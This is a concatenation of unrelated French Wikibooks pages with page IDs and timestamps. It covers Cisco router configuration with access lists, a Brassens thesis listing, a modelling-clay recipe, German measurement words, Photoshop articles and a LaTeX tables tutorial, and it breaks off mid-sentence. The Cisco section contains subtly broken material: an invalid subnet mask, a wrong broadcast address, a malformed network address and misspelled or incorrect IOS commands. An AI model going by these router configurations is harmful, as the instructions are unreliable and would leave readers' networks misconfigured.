156.25.4.2 /* Configuration pour un réseau utilisant IPX */ = Introduction = Cet article a pour but de vous expliquer plus ou moins en détail comment configurer un routeur cisco pour des réseaux locaux et petits réseaux d'entreprise. Vous trouverez quelques exemples afin de mieux comprendre comment fonctionne les protocles de communications TCP/IP, IPX et NETBEUI. Vous trouverez aussi une petite explication sur les Access-Lists avec quelques exemples. = Configurer son routeur avec Hyper-Terminal = == Configuration d'Hyper-Terminal == Tout d'abord, vous avez besoin d'un câble console (câble RJ-45 vers Série) reliant le port série de votre ordinateur à la prise RJ-45 marqué "console" sur votre routeur. Ensuite, il faut ouvrir Hyper-Terminal (Menu démarrer -> Tous les programmes -> accessoires -> communications -> Hyper-Terminal). Puis, entrez un nom pour votre nouvelle connexion, sélectionnez le port série sur lequel est connecté le câble console et cliquez sur "paramètres par défaut" puis ok. Voilà, vous êtes connecté au routeur et vous pouvez à partir de maintenant le configurer. S'il est allumé, faite un retour à la ligne et vous devriez voir apparaître soit une ligne vous demandant si vous voulez entre dans outil de configuration initial, dans ce cas répondez "no" sinon, il vous affiche le nom du routeur suivi de ">" (ex: Routeur>) dans ce cas fappez "en" pour enable et entrez le mot de passe s'il y en a un. Cette fois "Routeur>" change en "Routeur#" et vous pouvez commence à taper des commandes de configuration. == Commandes de bases == Voilà quelques commandes de bases que vous pourrez tester : *Changer le nom du routeur: :: ''Routeur#conf t'' :: ''Routeur(config)#hostname RouteurA'' *Mettre un mot de passe : :: ''Routeur#conf t'' :: ''Routeur(config)#line vty 0 4'' :: ''Routeur(config-line)#password 2ax$ef9'' :: ''Routeur(config-line)#enable-pass 2ax$ef9'' *Enregistrer la configuration : :: ''Routeur#wr'' ou ''Routeur#wr t'' pour que le routeur l'affiche après l'avoir enregistrer *Effacer la configuration : :: ''Routeur#wr er'' :: ''Routeur#reload'' = Exemple de Configuration = == Configuration pour un réseau utilisant TCP/IP == Voilà un exemple de configuration pour un réseaux comportants 2 sous réseaux (Subnets). Pour cet exemple, imaginez qu'il y a 63 postes de travail sur le 1er sous-réseaux et 4 sur le 2ème. La classe d'adresse utilisé est 192.168.1.x : *Subnet 1 :: adresse : 192.168.1.0 :: adresse broadcast : 192.168.1.128 :: masque sous-réseaux : 255.255.255.127 *Subnet 2 :: addresse : 192.168.129 :: adresse broadcast : 192.168.1.135 :: masque sous-réseaux : 255.255.255.248 Voilà la configuration du routeur reliant les 2 sous réseaux : :: ''Routeur>en'' :: /* saisie du mot de passe si existant */ :: ''Routeur#conf t' :: --- Configuration des interfaces --- :: ''Routeur(config)#int fastEthernet 0/0'' :: ''Router(config-if)#ip address 192.168.1.1 255.255.255.128'' :: ''Router(config-if)#noshutdown'' // empêche l'interface de s'éteindre losqu'on fait un reload par ex. :: ''Router(config)#int fastEthernet 0/1'' :: ''Router(config-if)#ip address 192.168.1.130 255.255.255.248'' :: ''Router(config-if)#noshutdown'' :: --- Rip v.2 et routage --- :: ''Routeur(config)#ip routing'' // active le routage sur les sous réseaux :: ''Routeur(config)#router rip'' // active le routage avec le protocole de passerelle interne Rip :: ''Routeur(config-router)#version 2'' // définit la version de rip utilisé :: ''Routeur(config-router)#network 192.168.1.0'' // Subnet 1 :: ''Routeur(config-router)#network 192.168.1.128'' // Subnet 2 Voilà, avec cette configuration du routeur, sans oublier de configurer les stations avec les addresses ip (exemple : 1 station sur subnet 1 -> @:192.168.1.2, passerelle:192.168.1.1, masque:255.255.255.128) votre réseaux fonctionne. == Configuration pour un réseau utilisant IPX == Prenons le même exemple qu'avant sauf qu'ici le protocole utilisé est IPX. Pour utiliser IPX, vous devez définir un numéro de réseau externe sur les stations (exemple: station 1 sur subnet 1 -> no res. ext.: 00000010, type de trame:Ethernet 802.3) :: ''Routeur>en'' :: /* saisie du mot de passe si existant */ :: ''Routeur#conf t'' :: ''Routeur(config)#ipx routing :: --- Configuration des interfaces --- :: ''Routeur(config)#int fastEthernet 0/0'' :: ''Router(config-if)#ipx network 00000010'' // spécifie le numéro de réseau externe du sous-réseau :: ''Router(config-if)#ipx type-20-propagation''// laisse passer les broadcasts NetBios :: ''Router(config-if)#no shutdown'' :: ''Router(config)#int fastEthernet 0/1'' :: ''Router(config-if)#ipx network 00000020'' :: ''Router(config-if)#ipx type-20-propagation'' :: ''Router(config-if)#no shutdown'' == Configuration pour un réseau utilisant NetBeui (Bridge) == Pour cet exemple, l'infrastructure réseau est la même que pour les 2 exemples précédents sauf que cette fois nous utiliserons le protocole '''non-routable''' NETBEUI. Pour installer NETBEUI, il faut vous avez besoin de votre cd-rom de Windows XP. Marche à suivre : ::Insérez le cd de windows xp. Copiez les fichiers Netnbf.inf et Nbf.sys, se trouvant dans le ::répertoire « Valueadd\MSFT\Net\NetBEUI », dans les répertoires suivant : ::*Nbf.sys -> « %SYSTEMROOT%\System32\Drivers » ::*Netbnf.inf -> « %SYSTEMROOT%\Inf » Une fois NETBEUI installez, activez le. Puis configurer le routeur pour utiliser un bridge car, vu que NETBEUI est un protocole non routable, il faudra faire un bridge (pont) pour relier les 2 sous-réseaux. :: ''Routeur>en'' :: /* saisie du mot de passe si existant */ :: ''Routeur#conf t'' :: --- Configuration des interfaces --- :: ''Routeur(config)#int fastEthernet 0/0'' :: ''Router(config-if)#bridge-group 1'' // assigne l'interface au groupe de bridge 1 :: ''Router(config-if)#no shutdown'' :: ''Router(config)#int fastEthernet 0/1'' :: ''Router(config-if)#bridge-group 1'' :: ''Router(config-if)#no shutdown'' :: --- Bridging --- :: ''Router(config)#bridge irb'' // active irb(integrated routing and bridging) et permet de bridger et router :: ''Router(config)#bridge 1 protocol ieee'' // spécifige le type de protocole (spanning tree protocol) = Mise en place de filtrage IP (Acces-lists) = Maintenant, voyons comment mettre en place des Access-lists (filtres) sur notre réseau. Tout d'abord, il y a 3 principe fondamentaux à ne pas oublier avec les ACL : * Lorsqu’on crée une ACL, elle définit par défaut que TOUT est deny (bloqué) * Le routeur applique les ACL séquentiellement, c’est-à-dire dans l’ordre où on les a crées * Lorsque l’on met un « permit » sur un protocole de couche de niveau 3 par exemple (comme ip) le routeur laissera aussi passer sur les couches inférieurs Ensuite, les ACL sont définies par des numeros qui peuvent etre : *<1-99> IP standard access list ces access list ne permette que de filtrer au niveau de l'adresse ip source *<100-199> IP extended access list Permet d'identifier un paquet par les adresses IP, protocoles et ports source et destination *<1100-1199> Extended 48-bit MAC address access list *<200-299> Protocol type-code access list Permet le filtrage par protocole *<700-799> 48-bit MAC address access list Permet le filtrage par adresse MACC Voici la syntaxe de la commande servant à créer une ACL : access-list <number> <action> <protocol> <source> <destination> <eq,gt,it,neq ou range> <port number> Pour mieux comprendre la syntaxe, allez voir ici : [http://www.ja.net/CERT/JANET-CERT/prevention/cisco/cisco_acls.html Cisco Access-Lists example] Exemple : * Permettre une ip spécifique (interdira toutes les autres, cf: 3 principes fondamentaux) : :: ''Routeur(config)#access-list 10 permit 192.92.130.2'' * Permettre le traffic sur le port 80 (www) depuis une source spécifique vers une destination : :: ''Routeur(config)#access-list 101 permit tcp host 10.1.1.2 host 10.1.2.2 eq www'' * Permettre l'utilisation du ping (echo) :: ''Router(config)#access-list 101 permit icmp any any echo'' (ajoutez vos exemples) Image:Brassens - La femme dans son Oeuvre.pdf 6167 27036 2005-12-19T09:17:00Z Sorg 937 Mémoire de 20 pages sur Georges Brassens et la place de la femme dans son oeuvre poétique et musicale. Mémoire de 20 pages sur Georges Brassens et la place de la femme dans son oeuvre poétique et musicale. Image:Brassens - La femme dans son Oeuvre - annexes.pdf 6168 27037 2005-12-19T09:19:40Z Sorg 937 Annexes du mémoire su Georges Brassens et son Oeuvre. Annexes du mémoire su Georges Brassens et son Oeuvre. Georges Brassens - La place de la Femme dans son oeuvre 6169 27038 2005-12-19T09:26:45Z Sorg 937 Mémoire sur Georges Brassens et la place accordée à la femme dans son oeuvre poétique et musicale. http://upload.wikimedia.org/wikibooks/fr/f/f7/Brassens_-_La_femme_dans_son_Oeuvre.pdf http://upload.wikimedia.org/wikibooks/fr/d/d5/Brassens_-_La_femme_dans_son_Oeuvre_-_annexes.pdf Activités pour enfants / Pâte à modeler 6171 41613 2006-05-05T10:51:15Z 83.198.29.158 /* Réalisation */ La '''[[w:pâte à modeler|pâte à modeler]]''' est un matériau malléable adéquat dans des [[activités pour enfants]]. ==Faire de la pâte à modeler== ===Ingrédients=== Pour réaliser la pâte à modeler, il faut : * 2 verres de [[w:farine|farine]] * ½ verre de [[w:farine de maïs|farine de maïs]] (par exemple Maizena®) * 2 cuillères à soupe d’[[w:huile|huile]] * ½ verre de [[w:sel alimentaire|sel]] * 2 cuillères à soupe d’[[w:alun de potassium|alun de potassium]] (en pharmacie) * 2 verres d’eau * des colorants alimentaires. ===Réalisation=== * Mélanger les ingrédients dans l’eau froide. * Fouetter pour éviter l’apparition de grumeaux. * [[w:Cuisson|Cuire]] tout en continuant de mélanger (avec une cuillère en bois de préférence) jusqu’à la formation d’une grosse boule. * Laisser refroidir. * Ajouter les [[w:colorant|colorant]]s. * Si la pâte est trop collante, ajouter de la farine. * Conserver dans une boîte hermétique. ---- Cet article fait partie du livre [[Activités pour enfants]]. Allemand : Les mesures 6173 41630 2006-05-05T14:22:43Z 88.134.99.231 /* die Fläche : ''la surface'' */ __NOTOC__ == die Länge : ''la longueur'' == der Meter : ''le mètre''<br />der Zentimeter : ''le centimètre''<br />der Kilometer : ''le kilomètre''<br />die Wellenlänge : ''la longueur d'onde'' == das Gewicht : ''le poids'' == die Gewichtseinheit : ''l'unité de poids''<br />das Gramm : ''le gramme''<br />das Kilogramm : ''le kilogramme''<br />die Tonne : ''la tonne'' == die Fläche : ''la surface'' == der Quadratkilometer : ''le kilomètre carré'' == das Volumen : ''le volume'' == der Liter : ''le litre''<br />der Kubikmeter : ''le mètre cube'' <br /> Retour au [[vocabulaire allemand|Vocabulaire]] Catégorie:Photoshop 6174 27095 2005-12-19T21:16:55Z Greudin 1 déplacé vers article [[Photoshop]], les catégories ne servent pas à accueillir des wikilivres Adobe Photoshop<sup>TM</sup> est un logiciel de retouche d'image et de création graphique édité par la société [http://www.adobe.com Adobe]. Photoshop Concevoir une page Web 6175 27097 2005-12-19T21:17:58Z Greudin 1 [[Concevoir une page Web]] déplacé vers [[Photoshop Concevoir une page Web]] Adobe Photoshop <sup>TM</sup> est l'outil de prédilection dans le domaine de la création multimédia. Le fait de travailler intégralement en bitmap n'est ici pas un souci, puisque le document final est constitué justement d'un ensemble d'images bitmaps (.jpg, .gif ou .png) "montés" sur une structure en (X)HTML. Le Web-design sous Adobe Photoshop <sup>TM</sup> nécessite une bonne maîtrise des concepts de base. C'est un bon exercice pour ce qui est du travail de précision, et de l'organisation de nombreux calques au sein d'un même fichier. [[catégorie:Photoshop]] Programmation LaTeX Tableaux 6178 43804 2006-06-03T14:08:35Z 81.56.194.8 /* Expressions avec @ */ {{LaTeX-nav}} Dans les livres scolaires, les tableaux sont souvent utilisés pour récapituler des résultats d'une recherche. Il est donc nécessaire de maîtriser leur emploi afin de produire des documents de bonne qualité. Cependant, s'il y a un domaine dans lequel je trouve que Latex est moins intuitif, c'est bien celui des tableaux. Les tableaux de base ne sont pas très astreignants, mais vous remarquerez assez rapidement qu'un tableau un peu plus élaboré demande plus de temps pour sa construction. Ainsi, nous commencerons par contruire des tableaux très simples. === L'environnement ''tabular'' === Pour commencer, nous allons nous familiariser avec quelques terminologies Latex. Un ''environnement'' en Latex est une déclaration particulière destinée à la composition du texte dans un style spécifique. Par exemple, le terme ''abstract'', présenté dans le [latextutorial3.html didacticiel 3], désigne un environnement avec lequel le résumé du document peut être composé dans un style différent de celui du corps principal du texte. Tous les environnements commencent et finissent de la même façon : \begin{nom-environnement} ... ... \end{nom-environnement} ''tabular'' est un autre type d'environnement, conçu pour disposer vos données dans des tableaux. Des paramètres sont requis après la déclaration de l'environnement pour décrire l'alignement de chaque colonne. Le nombre de colonnes n'a pas besoin d'être indiqué puisqu'il est déduit du nombre de paramètres fournis. Il est également possible d'ajouter des traits verticaux entre les colonnes. Les symboles suivants sont disponibles pour décrire les colonnes du tableau : {| | <span class="command">l</span> | colonne justifiée à gauche |- | <span class="command">c</span> | colonne centrée |- | <span class="command">r</span> | colonne justifiée à droite |- | <span class="command">p</span>{''largeur''} | colonne de largeur ''largeur'' dont le contenu est un paragraphe et dont le texte est positionné verticalement vers le haut |- | <span class="command">m</span>{''largeur''} | colonne de largeur ''largeur'' dont le contenu est un paragraphe et dont le texte est centré verticalement |- | <span class="command">b</span>{''largeur''} | colonne de largeur ''largeur'' dont le contenu est un paragraphe et dont le texte est positionné verticalement vers le bas |} Remarque : ''les commandes m et b nécessitent l'utilisation du package'' array {| |- | <span class="command"><nowiki>|</nowiki></span> | trait vertical |- | <span class="command"><nowiki>||</nowiki></span> | double trait vertical |} Une fois dans l'environnement, {| | <span class="command">&</span> | séparateur de colonne |- | <span class="command">\\</span> | débute une nouvelle ligne |- | <span class="command">\hline</span> | trait horizontal |} Remarquez, que les espaces insérés entre ces commandes sont purement inutiles. J'ajoute personnellement des espaces entre pour faciliter la lecture. === Tableau de base === Cet exemple montre comment créer un simple tableau en Latex. C'est un tableau trois par trois, mais sans aucun trait. {| | style="vertical-align: middle;" | <pre>\begin{tabular}{ l c r } 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \\ \end{tabular}</pre> | style="vertical-align: middle;" | [[Image:tableau_de_base1.png]] |} Modifions celui-ci en y ajoutant quelques traits verticaux: {| | style="vertical-align: middle;" | <pre>\begin{tabular}{ l | c || r | } 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \\ \end{tabular}</pre> | style="vertical-align: middle;" | [[Image:tableau_de_base2.png]] |} Pour ajouter des traits verticaux tout en haut et tout en bas du tableau: {| | style="vertical-align: middle;" | <pre>\begin{tabular}{ l | c || r | } \hline 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \\ \hline \end{tabular}</pre> | style="vertical-align: middle;" | [[Image:tableau_de_base3.png]] |} Et finalement, pour ajouter des traits centrés entre toutes les lignes (remarquez l'utilisation de l'environnement ''center''): {| | style="vertical-align: middle;" | <pre>\begin{center} \begin{tabular}{ l | c || r | } \hline 1 & 2 & 3 \\ \hline 4 & 5 & 6 \\ \hline 7 & 8 & 9 \\ \hline \end{tabular} \end{center}</pre> | style="vertical-align: middle;" | [[Image:tableau_de_base4.png]] |} === Texte dans un tableau === Les algorithmes du Latex pour mettre en forme les tableaux ont quelques imperfections. L'une d'entre elles est qu'il n'enveloppera pas automatiquement le texte dans les cellules, même s'il a débordé la largeur de la page. Pour les colonnes qui contiendront une certaine quantité de texte, il est recommandé d'employer l'attribut ''p'' et d'indiquer la largeur désirée de la colonne (bien que cela puisse obliger à effectuer quelques ajustements avant d'obtenir le résultat escompté). Avant de procéder, nous devons présenter le système de mesure que Latex emploie. Il est très souple puisque vous pouvez choisir parmi toute une variété d'unités de longueur. * <span class="command">pt</span> - un point est de 1/72 de pouce. * <span class="command">mm</span> - millimètre. * <span class="command">cm</span> - centimètre. * <span class="command">in</span> - pouce. * <span class="command">ex</span> - grossièrement la hauteur d'un '''x''' dans la police courante. * <span class="command">em</span> - grossièrement la largeur d'un '''M''' (majuscule) dans la police courante. Il existe des commandes connues sous le nom de ''commandes de longueur'', qui jouent le rôle de variable, qui n'ont pas de valeurs fixes car elles dépendent de la configuration de la classe et/ou du préambule courants du document. Les plus utiles sont: * <span class="command">\parindent</span> - la taille du saut du paragraphe * <span class="command">\baselineskip</span> - distance verticale entre les lignes. * <span class="command">\parskip</span> - espace supplémentaire entre les paragraphes. * <span class="command">\textwidth</span> - la largeur d'une ligne de texte dans l'environnement local (par exemple, les lignes sont généralement plus étroites dans le résumé que dans le texte normal). * <span class="command">\textheight</span> - la hauteur du texte dans la page. Les exemples fournis sont très longs parce que j'illustrais ce qui se produit quand il y a juste un morceau de texte dans les cellules d'un tableau. Ainsi au lieu de le reproduire dans la page, allez directement consulter le fichier Latex en exemple, [tutorial4/wrapped.tex wrapped.tex] et puis regardez le [tutorial4/wrapped.pdf résultat]. === L'environnement ''tabular''*, contrôle de la largeur d'un tableau === C'est fondamentalement une légère extension de la version originale de tableau, bien qu'elle exige un paramètre supplémentaire (avant les descriptions de colonne) pour indiquer la largeur souhaitée du tableau. \begin{tabular*}{0.75\textwidth}{ | c | c | c | r | } \hline label 1 & label 2 & label 3 & label 4 \\ \hline item 1 & item 2 & item 3 & item 4 \\ \hline \end{tabular*} Cependant, cela ne ressemble pas à ce qui était attendu. Les colonnes ont toujours leur largeur normale (juste assez large pour adapter leur contenu tandis que les lignes sont aussi larges que la largeur demandée du tableau. Le tableau a une apparence très laide. La raison de ce désordre est que vous devez également insérer un espace supplémentaire de colonne. Heureusement, Latex a des longueurs en caoutchouc, qui à la différence d'autres, ne sont pas fixes, et Latex peut dynamiquement décider du moment jusqu'au quel elles doivent rester fixes. Ainsi, la solution le problème courant est: \begin{tabular*}{0.75\textwidth}{@{\extracolsep{\fill}} | c | c | c | r | } \hline label 1 & label 2 & label 3 & label 4 \\ \hline item 1 & item 2 & item 3 & item 4 \\ \hline \end{tabular*} Vous remarquerez la présence de la construction @{...} ajoutée au début de la description de colonne. Plus de détails de ce rajout seront donnés sous peu. À l'intérieur de celle-ci, la commande <span class="command">\extracolsep</span>, exige une largeur comme paramètre. Une largeur fixe aurait pu être employée, cependant, en utilisant une longueur élastique, telle que <span class="command">\fill</span>, les colonnes sont automatiquement espacées de manière uniforme. === Expressions avec @ === Maintenant qu'il a été présenté, il serait intéressant de nous pencher sur le « prescripteur » @, bien que celui-ci n'ait pas un grand nombre d'applications évidentes. Il prend typiquement du texte comme paramètre, et lorsqu'il est apposé à une colonne, il insère automatiquement ce texte dans chaque cellule de cette colonne avant les données mêmes de cette cellule. Il faut préciser qu'une fois utilisé, l'espace entre les colonnes concernées est supprimé. Pour ajouter un espace, employez la commande <span>@{\hspace{''largeur''}}</span >. Pour mieux comprendre cela exigera quelques exemples d'utilisation. Parfois, il est souhaitable dans les tables scientifiques d'avoir les nombres alignés sur la virgule décimale. Ceci peut être réalisé en faisant ce qui suit: {| | style="vertical-align: middle;" | \begin{tabular}{r@{,}l} 3&14159\\ 16&2\\ 123&456\\ \end{tabular} | style="vertical-align: middle;" | [[Image:align.png]] |} Son application supprimant les espaces, il peut être très utile pour contrôler l'espacement horizontal entre les colonnes. À partir d'un tableau de base, changeons les descriptions des colonnes: \begin{tabular}{|l|l|} \hline truc & truc \\ \hline truc & truc \\ \hline \end{tabular} {| | style="vertical-align: middle;" | <span class="command"><nowiki>{|l|l|}</nowiki></span> | style="vertical-align: middle;" | [[Image:prescripteur1.png]] |- | style="vertical-align: middle;" | <span class="command"><nowiki>{|@{}l|l@{}|}</nowiki></span> | style="vertical-align: middle;" | [[Image:prescripteur2.png]] |- | style="vertical-align: middle;" | <span class="command"><nowiki>{|@{}l@{}|l@{}|}</nowiki></span> | style="vertical-align: middle;" | [[Image:prescripteur3.png]] |- | style="vertical-align: middle;" | <span class="command"><nowiki>{|@{}l@{}|@{}l@{}|}</nowiki></span> | style="vertical-align: middle;" | [[Image:prescripteur4.png]] |} === Enrobage === Pour compléter ce guide, voyons comment produire rapidement des tableaux légèrement plus complexes. Naturellement, les commandes nécessaires doivent être insérées dans les données du tableau elles-mêmes. === Lignes enveloppant des colonnes multiples === La commande adéquate ressemble à ceci: <span class="command">\multicolumn{''nomb_col''}{''alignement''}{''contenu''}</span>. *''nomb_col'' est le nombre de colonnes consécutives à fusionner; *''alignement'' est assez évident, et doit être remplacé par ''l'', ''c'', ou ''r''; *''contenu'' représente simplement les données mêmes que vous désirez inclure dans la cellule. Donnons un exemple simple: {| | style="vertical-align: middle;" | \begin{tabular}{|l|l|} \hline \multicolumn{2}{|c|}{Membres de l'équipe} \\ \hline GK & Paul Robinson \\ LB & Lucus Radebe \\ DC & Michael Duberry \\ DC & Dominic Matteo \\ RB & Didier Domi \\ MC & David Batty \\ MC & Eirik Bakke \\ MC & Jody Morris \\ FW & Jamie McMaster \\ ST & Alan Smith \\ ST & Mark Viduka \\ \hline \end{tabular} | style="vertical-align: middle;" | [[Image:multicolonne.png]] |} === Colonnes enveloppant des lignes multiples === La première chose que vous devez faire est d'ajouter <span class="command">\usepackage{multirow}</span> dans le préambule. Cela fournit alors la commande requise pour envelopper des lignes: <span class="command">\multirow{''nomb_ligne''}{''largeur''}{''contenu''}</span>. Les paramètres sont assez simples à comprendre. Avec le paramètre ''largeur'', vous pouvez indiquer une largeur fixe si vous le désirez, ou une largeur normale (c'est-à-dire, juste assez large pour adapter le contenu de la colonne) puis entrez simplement un astérisque (*). Cette approche a été employée dans l'exemple suivant: {| | style="vertical-align: middle;" | \begin{tabular}{|l|l|l|} \hline \multicolumn{3}{|c|}{Membres de l'équipe} \\ \hline Gardien de but & GK & Paul Robinson \\ \hline \multirow{4}{*}{Défenss} & LB & Lucus Radebe \\ & DC & Michael Duberry \\ & DC & Dominic Matteo \\ & RB & Didier Domi \\ \hline \multirow{3}{*}{Milieux de terrain } & MC & David Batty \\ & MC & Eirik Bakke \\ & MC & Jody Morris \\ \hline Avant & FW & Jamie McMaster \\ \hline \multirow{2}{*}{Attaquants} & ST & Alan Smith \\ & ST & Mark Viduka \\ \hline \end{tabular} | style="vertical-align: middle;" | [[Image:multiligne.png]] |} Ce qui est essentiel de remarquer lorsque vous utilisez la commande <span class="command">\multirow</span> sur les lignes consécutives à envelopper, est qu'une entrée vide devant les cellules concernées doit être insérée. === Résumé === Nous en avons déjà assez dit au sujet des tableaux de base à mon avis. Après vous pouvez expérimenter afin d'en maîtriser le concept. Je dois admettre que la syntaxe d'un tableau en Latex peut sembler plutôt tordue, et ainsi voir des exemples plus sophistiqués pourrait vous embrouiller davantage. Mais heureusement, nous en avons assez vu pour que vous puissiez créer par vous-même n'importe quel tableau que vous pouvez avoir besoin dans vos documents. Il est clair que Latex a beaucoup de ressources, ainsi attendez-vous à trouver des instructions plus avancées dans un proche avenir. Photoshop 6179 27127 2005-12-20T11:08:01Z Craps 943 == Introduction == Adobe Photoshop<sup>TM</sup> est un logiciel de retouche d'image et de création graphique édité par la société [http://www.adobe.com Adobe]. Lancé à l'origine comme un simple logiciel de retouche d'image, ses fonctionnalités se sont vues améliorées et complétées au fil des années et des versions. Adobe Photoshop<sup>TM</sup> constitue maintenant l' outil de base dans la plupart des secteurs de l'industrie graphique. Adobe Photoshop<sup>TM</sup> est un outil aux fonctionnalités très étendues, et très pointues. Il trouve des applications dans les domaines suivants: * '''retouche d'images''' : la retouche d'image est le domaine le plus proche de la photographie argentique traditionnelle. C'est l'usage originel de Adobe Photoshop<sup>TM</sup>. Les tâches classiques de la retouche d'images sont par exemple la retouche de visuels scannés (recadrage, dépoussièrage, etc.), les améliorations apportées à un visuel (colorimétrie, accentuation, etc.), et enfin des usages plus spécialisés (amélioration d'un grain de peau pour la publicité, montage d'un panoramique, etc.). * '''illustration''' : Adobe Photoshop<sup>TM</sup> est également utilisé par des illustrateurs traditionnels, qui vont utiliser le logiciel d'une manière totalement différente, non plus technique mais créative. L'approche peut être purement graphique, c'est la peinture numérique - à l'aide d'une tablette graphique. Le ''Matte-Painting'' est une technique spécialisée dans la création d'images d'arrière-plans utilisées sur les plateaux de cinéma. * '''Web-design''' : Adobe Photoshop<sup>TM</sup> est souvent l'outil de base du Web-designer. Les maquettes sont réalisées la plupart du temps sur ce logiciel particulier. En effet, au-delà des fonctionnalités de création graphique indispensables (repères, grilles, calques), il existe des outils pratiques pour découper les différentes parties d'images à inclure dans le fichier .HTML final. * '''usages spécialisés''' : colorisation de bandes dessinées, peinture de textures 3D. Adobe Photoshop<sup>TM</sup> est considéré comme un standard dans le domaine de la création graphique. Ce qui rend difficile l'émergence de solutions open-source telles que [http://www.gimp.org GIMP]. == Bases théoriques == * [[Photoshop Les espaces de couleurs|Les espaces de couleurs]], * [[Photoshop Homogenéité des couleurs le long de la chaîne graphique : les profils de couleurs|Homogenéité des couleurs le long de la chaîne graphique : les profils de couleurs]], * [[Photoshop Bitmap et vectoriel|Bitmap et vectoriel]], * [[Photoshop Résolution, pixels et DPI|Résolution, pixels et DPI]], * [[Photoshop Les formats de fichiers de Photoshop|Les formats de fichiers de Photoshop]]. == Les concepts de base d'Adobe Photoshop<sup>TM</sup> == * [[Photoshop La métaphore des calques|La métaphore des calques]], * [[Photoshop Les modes de fusion|Les modes de fusion]], * [[Photoshop Les calques de réglage|Les calques de réglage]], * [[Photoshop Les masques de fusion|Les masques de fusion]], * [[Photoshop Les filtres|Les filtres]], * [[Photoshop Les outils vectoriels|Les outils vectoriels]], * [[Photoshop Les masques vectoriels|Les masques vectoriels]], * [[Photoshop Les outils de découpe|Les outils de découpe]]. == Adobe Photoshop<sup>TM</sup> en pratique == === Retouche d'image === * [[Photoshop Introduction|Introduction]], * [[Photoshop Numériser un visuel|Numériser un visuel]], * [[Photoshop Recadrage|Recadrage]], * [[Photoshop Réechantillonnage|Réechantillonnage]], * [[Photoshop Colorimètrie : les niveaux|Colorimètrie : les niveaux]], * [[Photoshop Colorimétrie : les courbes|Colorimétrie : les courbes]], * [[Photoshop Colorimétrie : supprimer une dominante|Colorimétrie : supprimer une dominante]], * [[Photoshop Accentuer une image|Accentuer une image]], * [[Photoshop Dépoussièrage|Dépoussièrage]]. === L'illustration === * [[Photoshop Peindre avec Adobe Photoshop|Peindre avec Adobe Photoshop]], * [[Photoshop Utilisation créative des calques : le photomontage|Utilisation créative des calques : le photomontage]], * [[Photoshop Peinture, calques et masques de fusion : effectuer un montage complexe|Peinture, calques et masques de fusion : effectuer un montage complexe]]. === La création graphique === * [[Photoshop Concevoir une page Web|Concevoir une page Web]], * [[Photoshop Préparer une page Web pour la découpe|Préparer une page Web pour la découpe]]. [[catégorie:Photoshop]] Concevoir une page Web 6180 27098 2005-12-19T21:17:58Z Greudin 1 [[Concevoir une page Web]] déplacé vers [[Photoshop Concevoir une page Web]]: d'après plan du wikilivre #REDIRECT [[Photoshop Concevoir une page Web]] Photoshop Résolution, pixels et DPI 6183 27130 2005-12-20T11:15:09Z Craps 943 Adobe Photoshop <sup>TM</sup> est un logiciel d'édition bitmap. Il intervient donc sur des formats graphiques bitmap. Un fichier bitmap a plusieurs caractéristiques intrinsèques: * son ''[[Photoshop Les espaces de couleurs|espace de couleur]]'', * ses ''dimensions en pixels'', * sa ''résolution''. La résolution est le rapport entre un nombre de pixels et une longueur physique, elle s'exprime en DPI (''dots per inches''). Par exemple, sur un moniteur RVB classique, la résolution est de 72 DPI: il y a 72 pixels pour une longueur affichée d'un pouce. La formule pour déterminer la taille d'impression est donc la suivante : ''Taille d'impression = Dimensions en pixels / Résolution.'' == Quelle résolution pour quel usage ? == * '''pour le Web et l'affichage écran''' : la résolution d'un moniteur étant de 72 DPI, on utilise la même valeur, afin d'avoir un affichage équivalent à celui affiché dans Adobe Photoshop <sup>TM</sup>. * '''pour l'impression professionnelle''' : la résolution dépend du type d'impression. Elle doit être égale à deux fois la linéature (trame) de l'impression. La valeur de base dans le monde des arts graphiques est de 300 DPI. Précisons que plus l'impression est de grand format (4mx3m, affichage abribus), plus la résolution diminue. En effet, si vous observez de près une affiche 4mx3m, vous constaterez que la trame est très grossière: la linéature est faible. La résolution du fichier image étant le double de la linéature, elle sera relativement faible (heureusement pour nos pauvres ordinateurs...il paraît difficile de gérer un fichier bitmap de 15000 pixels de large). * '''pour l'impression jet d'encre''' : Adobe Photoshop <sup>TM</sup> n'est pas un logiciel destiné à une utilisation personnelle. Néanmoins, pour éventuellement imprimer sur une imprimante bureautique standard, une résolution d'au moins 150 DPI est déjà une limite basse. == Problèmes classiques liés à la résolution == On l'a vu, les fichiers bitmap issus du Web sont enregistrés à 72 DPI, et l'impression de qualité nécessite au minimum le double. Ceci est un problème classique rencontré par les graphistes free-lance : le client fournit un visuel à 72 DPI, qu'il a sauvegardé à partir de son site Web, il désire une affiche en 4mx3m. Il est évident que le visuel ne pourra être utilisé, sinon les pixels seront visibles. En régle générale, travaillez avec des visuels à 300 DPI pour l'impression, 72 DPI pour le Web. [[catégorie:Photoshop]] Photoshop Bitmap et vectoriel 6184 27131 2005-12-20T11:39:02Z Craps 943 création de l'article : vectoriel En infographie, il existe deux manières de modéliser un visuel : * le '''vectoriel''' : à l'aide de courbes mathématiques. * le '''bitmap''' : à l'aide de pixels. == Le modèle vectoriel == Le modèle vectoriel représente un visuel par un ensemble d'aplats de couleurs, délimité par des courbes, dites ''courbes de Bézier''. Ces courbes mathématiques sont éditables facilement, puisque matérialisées par un nombre réduit de points (les ''points de contrôle''). Le dessin vectoriel est par conséquent beaucoup plus léger: le fichier vectoriel ne stocke pas plusieurs milliers de pixels, mais quelques courbes définissant des formes. C'est le principe de Marcomédia Flash<sup>TM</sup>, qui sert à produire des animations pour le Web, beaucoup plus légères qu'une vidéo (ensemble de trames ''bitmap''). Le modèle vectoriel dispose d'un atout exceptionnel : il permet de s'affranchir totalement de la notion de [[Photoshop Résolution, pixels et DPI|''résolution'']]. En effet, le visuel étant défini par des courbes mathématiques, il est possible d'agrandir/réduire à volonté le visuel, sans aucune perte de qualité : il n'est pas nécessaire de grossir les pixels...il n'y en a pas! C'est lors de l'impression (ou de l'importation dans le logiciel de mise en page) que l'on choisit la résolution finale du visuel. Celui peut être converti en bitmap à 72 DPI, 300 ou 600, peu importe! La qualité sera toujours identique. L'opération de conversion d'un fichier vectoriel vers un fichier bitmap s'appelle la ''rasterization''. '''Elle est à sens unique!''' En effet, en convertissant les vecteurs en pixels, on les perd ! Le point faible du modèle vectoriel est son manque d'intuitivité. Il est plus délicat de manipuler des points de contrôle et des courbes qu'une tablette graphique. A fortiori, difficile 